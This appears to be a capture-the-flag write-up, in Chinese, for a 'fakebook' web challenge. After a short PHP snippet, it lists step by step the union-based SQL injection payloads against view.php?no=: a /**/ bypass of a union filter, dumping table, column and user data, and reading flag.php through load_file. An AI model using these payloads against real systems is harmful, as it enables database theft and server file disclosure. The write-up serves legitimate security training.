public function getBlogContents() { return $this->get($this->blog); }
public function isValidBlog() { $blog = $this->blog; returnpreg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); }
}
先进行页面功能分析。 常规注册并登录,发现登录后url存在注入点。
view.php?no=1and1=1 #成功运行 view.php?no=1and1=2 #成功运行,说明此处存在sql注入点。 view.php?no=1 order by 5 #4的时候不报错,5的时候报错,证明有4个字段 view.php?no=-1union select 1,2,3,4 #no hack~应该是union被过滤了 view.php?no=-1union/**/select 1,2,3,4 #成功有回显 view.php?no=-1union/**/select 1,database(),3,4 #成功爆出数据库的名称fakebook view.php?no=-1union/**/select 1,group_concat(table_name),3,4 from information_schema.tables.where table_schema=database() #成功爆出表名为users view.php?no=-1union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' #成功爆出字段名:no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS view.php?no=-1union/**/select 1,group_concat(data),3,4 from users #成功爆出注册时的序列化账户 #O:8:"UserInfo":3:{s:4:"name";s:6:"tzzzez";s:3:"age";i:20;s:4:"blog";s:11:"tzzzez.blog";} view.php?no=-1union/**/select 1,load_file('/var/www/html/flag.php'),3,4 #借助load_file函数读取flag.php网页内容